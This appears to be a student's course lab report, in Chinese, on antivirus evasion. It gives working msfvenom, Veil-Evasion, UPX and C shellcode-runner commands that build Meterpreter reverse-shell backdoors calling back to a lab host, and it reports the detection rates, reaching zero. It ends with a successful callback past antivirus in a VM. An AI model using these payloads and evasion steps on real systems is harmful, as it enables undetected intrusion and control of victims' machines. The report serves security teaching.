Exp3-免杀原理与实践
基础问题回答
1.1 杀软是如何检测出恶意代码的?
基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
1.2 免杀是做什么?
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,悄悄的干活(不悄悄的别人也不让我们进行攻击和窥探)。
1.3 免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 修改内存特征码
- 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
- 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
1.4 开启杀软能绝对防止电脑中恶意代码吗?
说绝对是有些过了,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!
实验环境
免杀测试平台:https://www.virustotal.com/
实践内容
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/70
使用Unicode编码一次
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.40.128 LPORT=11310 -f exe > backdoor1.exe
#注意这里的IP地址要根据自己的修改
进行检测(检出率为54/70)
这里居然还上升了!?
编码多次(此处采用我学号的序号10来进行编码)
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'
不出现在shellcode中,因为shellcode以'\x00'
为结束符
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.40.128 LPORT=11310 -f exe > backdoor2.exe
参数意思:
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数
进行检测(检出率51/67也算有所下降了吧)
值得注意的是国产品牌百度没有检出,属实是有点拉了!
利用php格式文件
生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 x> backdoor_php.php
Php格式文件大小缩小了很多。
进行检测(检出率19/54)
知名品牌百度、金山、迈克菲败下阵来。
利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f jar > backdoor_jar.jar
进行检测(检出率29/57)
疼讯也不行了!
veil,加壳工具实践
安装工具
安装命令行
sudo apt-get install veil-evasion
安装设置
下载成功后,修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
注意:先进入root模式
修改第260行的
修改成功后,veil等待安装
正常安装相关模块(一路next下去就行)
安装成功!但是启动时可能会出现找不到autoit文件的错误,参考以下博客可以进行修复:Kali Linux 64位架构安装Veil-Evasion - 大学霸 - 博客园 (cnblogs.com)
使用veil工具
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.40.128 //设置反弹链接ip,此处为Kali的ip
set LPORT 11310 //设置端口
generate
设置生成的文件(名称)
保存路径为/var/lib/veil/output/compiled/20191310veil.exe
检测文件(检出率40/68)
其实检出率还是很高,文件比较大,检查了很久。
免杀加壳尝试
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
加壳指令
upx 20191310veil.exe -o 20191310_veil_upx.exe
检测(检出率40/69)
基本上没有减小,看来目前杀软对于加壳的检测能力很强。
使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f c
编辑c文件
vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
对恶意代码进行检测(检出率33/70)
可以看到检出率已经下降许多了!
通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
list##寻找palyload
选择结束之后
use python/shellcode_inject/aes_encrypt.py
generate
选择2
给出相应的参数设置端口信息等,生成文件
检测文件信息(检出率0!!!)
这里的原理便是使用了数据加密的方式进行多次编译后门软件
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功
共存状态:
我使用的是火绒,目前只有php、py、jar能够与杀软共存。(对文件进行复制,成功的则可以共存)
实际上做不了,于是转到虚拟机中,使用win7+360安全卫士和360杀毒,使用的后门程序是20191310_veil_upx.exe。此处的程序是第二项中生成的,在经过加密和加壳之后,普通杀软(火绒、360)已经无法杀出。
KALI机开启msfconsole
执行命令行,开始攻击
use exploit/multi/hander
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.128
set LPORT 11310
exploit
注意:这里的数据均是之前生成veil_upx.exe时候的数据,可参看上面的免杀实践:
运行后门软件
已经成功啦!
实践思考与收获
道高一尺魔高一丈,我们的安全为什么做的那么好,那是因为我们受的攻击太多,一点点努力克服,一点点努力发展。
但是!我们要始终保持忧患意识,工作要做到无微不至,做到极端,这也许甚至还不够,因为总会有攻击的力量蠢蠢欲动。
我们只属于特别小白的学生,尚且能够制作一个免杀软件,那那些大牛,是不是更加善于设计,攻击更加易如反掌了呢?答案肯定是的!所有说,网络空间安全形势严峻且异常重要!
我也掌握了后门更多的生成方法,以及如何通过免杀进行操作,杀软是通过什么来进行杀毒的,我也明白一点,同时这次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制作的后门时候的无能为力,且制作一个免杀后门的技术门槛和成本是很低的。
最后,网络对抗,信息安全,前路漫漫,任重而道远!